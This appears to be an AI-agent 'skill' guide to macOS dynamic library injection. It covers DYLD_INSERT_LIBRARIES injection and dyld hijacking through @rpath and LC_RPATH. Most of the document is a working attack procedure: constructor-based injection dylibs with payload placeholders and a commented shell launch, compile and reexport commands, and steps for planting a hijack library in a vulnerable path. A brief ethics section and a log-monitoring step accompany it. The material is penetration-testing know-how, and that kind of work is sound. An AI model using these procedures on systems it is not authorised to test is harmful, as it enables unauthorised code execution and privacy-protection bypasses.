macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES
A skill for performing dynamic library injection attacks on macOS for security research and penetration testing.
When to Use This Skill
Use this skill when:
- Analyzing macOS binaries for dyld injection vulnerabilities
- Creating dylib injection payloads for testing
- Investigating @rpath and LC_RPATH library loading paths
- Performing dyld hijacking attacks on vulnerable applications
- Checking binary entitlements for library validation bypass
- Monitoring dylib loading events on macOS
Prerequisites
- macOS system with Xcode command line tools
- Target binary or application to analyze
- Appropriate permissions (sudo may be required for some operations)
Core Concepts
DYLD_INSERT_LIBRARIES
Environment variable that allows injecting custom dynamic libraries into processes before they execute. Works on binaries without library validation.
Dyld Hijacking
Exploiting @rpath and LC_RPATH library loading mechanisms to inject malicious libraries when legitimate libraries are missing from expected locations.
Quick Start
1. Check Binary Vulnerability
# Check entitlements for library validation bypass
codesign -dv --entitlements :- "/path/to/binary"
# Look for: com.apple.security.cs.disable-library-validation
2. Analyze Library Loading Paths
# Check @rpath locations
otool -l "/path/to/binary" | grep LC_RPATH -A 2
# Check libraries loaded via @rpath
otool -l "/path/to/binary" | grep "@rpath" -A 3
3. Create Injection Library
Use the helper scripts in scripts/ directory:
# Create basic injection dylib
./scripts/create_injection_dylib.sh /path/to/target
# Create hijack dylib with reexport
./scripts/create_hijack_dylib.sh /path/to/original_lib /path/to/hijack_location
4. Test Injection
# Test DYLD_INSERT_LIBRARIES injection
DYLD_INSERT_LIBRARIES=/path/to/inject.dylib /path/to/binary
# Test dyld hijacking (copy hijacked lib to vulnerable location)
cp /path/to/hijack.dylib /vulnerable/path/lib.dylib
/path/to/binary
Detailed Procedures
Procedure 1: DYLD_INSERT_LIBRARIES Injection
Step 1: Create the injection library
// inject.c
#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
printf("[+] dylib injected in %s\n", argv[0]);
// Add your payload here
// execv("/bin/bash", 0);
}
Step 2: Compile the library
gcc -dynamiclib -o inject.dylib inject.c
Step 3: Inject into target binary
DYLD_INSERT_LIBRARIES=./inject.dylib /path/to/binary
Procedure 2: Dyld Hijacking Attack
Step 1: Identify vulnerable binary
# Check for library validation bypass
codesign -dv --entitlements :- "/path/to/binary" | grep disable-library-validation
# Check @rpath locations
otool -l "/path/to/binary" | grep LC_RPATH -A 2
# Check which libraries use @rpath
otool -l "/path/to/binary" | grep "@rpath" -A 3
Step 2: Find missing library locations
# List all @rpath locations
otool -l "/path/to/binary" | grep LC_RPATH -A 2
# Check which libraries actually exist
find /path/to/app -name "*.dylib"
Step 3: Create hijack library
// lib.m
#import <Foundation/Foundation.h>
__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"[+] dylib hijacked in %s", argv[0]);
// Add your payload here
}
Step 4: Compile with version matching
# Get version info from original library
otool -l /path/to/original_lib.dylib | grep -A 2 "current version"
# Compile hijack library with matching versions
gcc -dynamiclib \
-current_version 1.0 \
-compatibility_version 1.0 \
-framework Foundation \
/tmp/lib.m \
-Wl,-reexport_library,"/path/to/original_lib.dylib" \
-o "/tmp/lib.dylib"
Step 5: Fix reexport path
# Check current reexport path
otool -l /tmp/lib.dylib | grep REEXPORT -A 2
# Change to absolute path
install_name_tool -change @rpath/lib.dylib \
"/path/to/original_lib.dylib" \
/tmp/lib.dylib
Step 6: Deploy hijack library
# Copy to vulnerable location
cp /tmp/lib.dylib /vulnerable/path/lib.dylib
# Execute target binary
/path/to/binary
Procedure 3: Monitor Dylib Loading
# Monitor for dylib injection events
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
Helper Scripts
scripts/check_dyld_vulnerability.sh
Checks if a binary is vulnerable to dyld injection attacks.
./scripts/check_dyld_vulnerability.sh /path/to/binary
scripts/create_injection_dylib.sh
Creates a basic DYLD_INSERT_LIBRARIES injection library.
./scripts/create_injection_dylib.sh /path/to/target_binary
scripts/create_hijack_dylib.sh
Creates a dyld hijack library with proper reexport.
./scripts/create_hijack_dylib.sh /path/to/original_lib /path/to/hijack_location
scripts/monitor_dyld_loading.sh
Monitors system logs for dylib loading events.
./scripts/monitor_dyld_loading.sh "search_term"
Safety & Ethics
Important:
- Only use these techniques on systems you own or have explicit permission to test
- DYLD_INSERT_LIBRARIES is blocked by System Integrity Protection (SIP) on modern macOS
- Many applications use library validation to prevent injection
- Document your findings and remediate vulnerabilities discovered
Troubleshooting
Injection not working
- Check if SIP is enabled:
csrutil status - Verify binary doesn't have library validation
- Ensure dylib is compiled for correct architecture
- Check for hardened runtime protections
Library not loading
- Verify @rpath locations are correct
- Check library version compatibility
- Ensure reexport path is absolute
- Verify file permissions
References
- CVE-2023-26818 - Telegram TCC Bypass
- Apple Security Guide - Library Validation
- macOS System Integrity Protection